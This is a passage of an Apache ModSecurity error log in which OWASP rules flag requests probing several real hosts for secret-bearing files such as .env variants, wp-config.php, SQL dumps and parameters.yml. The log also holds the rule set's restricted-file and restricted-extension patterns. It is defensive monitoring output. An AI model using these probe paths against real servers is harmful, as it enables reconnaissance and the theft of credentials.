"capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ltbi.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaLFxP5-SsqbGuGB2k6AAAAAA"]
[Fri Jul 17 08:27:48.630449 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaLFxP5-SsqbGuGB2k6AAAAAA"]
[Fri Jul 17 08:27:48.630825 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLFxP5-SsqbGuGB2k6AAAAAA"]
[Fri Jul 17 08:27:48.640876 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaLI4Wmn5zySdNNkAkuwAAABM"]
[Fri Jul 17 08:27:48.641264 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaLI4Wmn5zySdNNkAkuwAAABM"]
[Fri Jul 17 08:27:48.641654 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLI4Wmn5zySdNNkAkuwAAABM"]
[Fri Jul 17 08:27:48.641698 2026] [security2:error] [pid 1993570:tid 1993570] [client 54.82.45.238:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ltbi.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaLHjA8yK8B7kryx3hkgAAAAk"]
[Fri Jul 17 08:27:48.645445 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.82.45.238:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ltbi.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaLA7FYe46zHK_jL3MQgAAABk"]
[Fri Jul 17 08:27:48.646041 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaLA7FYe46zHK_jL3MQgAAABk"]
[Fri Jul 17 08:27:48.646438 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLA7FYe46zHK_jL3MQgAAABk"]
[Fri Jul 17 08:27:48.646995 2026] [security2:error] [pid 1993570:tid 1993570] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaLHjA8yK8B7kryx3hkgAAAAk"]
[Fri Jul 17 08:27:48.647351 2026] [security2:error] [pid 1993570:tid 1993570] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLHjA8yK8B7kryx3hkgAAAAk"]
[Fri Jul 17 08:27:48.652371 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.82.45.238:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ltbi.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaLIha5y5fYnQ1qRrvqQAAAAE"]
[Fri Jul 17 08:27:48.652887 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaLIha5y5fYnQ1qRrvqQAAAAE"]
[Fri Jul 17 08:27:48.653209 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLIha5y5fYnQ1qRrvqQAAAAE"]
[Fri Jul 17 08:27:48.681411 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:60538] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:48.690885 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaLAPhWp7RzB65h36esgAAAA0"]
[Fri Jul 17 08:27:48.691128 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaLAPhWp7RzB65h36esgAAAA0"]
[Fri Jul 17 08:27:48.698620 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLAPhWp7RzB65h36esgAAAA0"]
[Fri Jul 17 08:27:49.012972 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:60626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:49.079956 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.82.45.238:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ltbi.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaLY4Wmn5zySdNNkAkvAAAABM"]
[Fri Jul 17 08:27:49.080199 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ltbi.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaLY4Wmn5zySdNNkAkvAAAABM"]
[Fri Jul 17 08:27:49.080435 2026] [security2:error] [pid 1996894:tid 1996894] [client 54.82.45.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ltbi.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaLY4Wmn5zySdNNkAkvAAAABM"]
[Fri Jul 17 08:27:49.259954 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:60694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:51.571448 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:57690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:52.447400 2026] [security2:error] [pid 2013831:tid 2013831] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/other-downloads"] [unique_id "almaMKhgWo8idb8AQWuZ-wAAABs"]
[Fri Jul 17 08:27:52.447725 2026] [security2:error] [pid 2013831:tid 2013831] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/other-downloads"] [unique_id "almaMKhgWo8idb8AQWuZ-wAAABs"]
[Fri Jul 17 08:27:52.448092 2026] [security2:error] [pid 2013831:tid 2013831] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/other-downloads"] [unique_id "almaMKhgWo8idb8AQWuZ-wAAABs"]
[Fri Jul 17 08:27:52.560788 2026] [security2:error] [pid 1993668:tid 1993668] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env"] [unique_id "almaMBAi3pC6yjXGNq19OgAAAAU"]
[Fri Jul 17 08:27:52.561056 2026] [security2:error] [pid 1993668:tid 1993668] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env"] [unique_id "almaMBAi3pC6yjXGNq19OgAAAAU"]
[Fri Jul 17 08:27:52.586144 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.production"] [unique_id "almaMIha5y5fYnQ1qRrvrQAAAAE"]
[Fri Jul 17 08:27:52.586185 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almaMARRrtuZqNDDSqWssAAAABo"]
[Fri Jul 17 08:27:52.586381 2026] [security2:error] [pid 1993604:tid 1993604] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.production"] [unique_id "almaMIha5y5fYnQ1qRrvrQAAAAE"]
[Fri Jul 17 08:27:52.586486 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almaMARRrtuZqNDDSqWssAAAABo"]
[Fri Jul 17 08:27:52.660605 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaMIl9vhFBGA6D8l92VgAAAAw"]
[Fri Jul 17 08:27:52.660876 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaMIl9vhFBGA6D8l92VgAAAAw"]
[Fri Jul 17 08:27:52.661261 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaMIl9vhFBGA6D8l92VgAAAAw"]
[Fri Jul 17 08:27:52.722988 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.dev"] [unique_id "almaMFh1WDijTxd1xw5I1QAAAAc"]
[Fri Jul 17 08:27:52.723390 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.dev"] [unique_id "almaMFh1WDijTxd1xw5I1QAAAAc"]
[Fri Jul 17 08:27:52.782567 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.staging"] [unique_id "almaMJOFLENLI63GGOEKKgAAAAQ"]
[Fri Jul 17 08:27:52.782812 2026] [security2:error] [pid 1993659:tid 1993659] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.staging"] [unique_id "almaMJOFLENLI63GGOEKKgAAAAQ"]
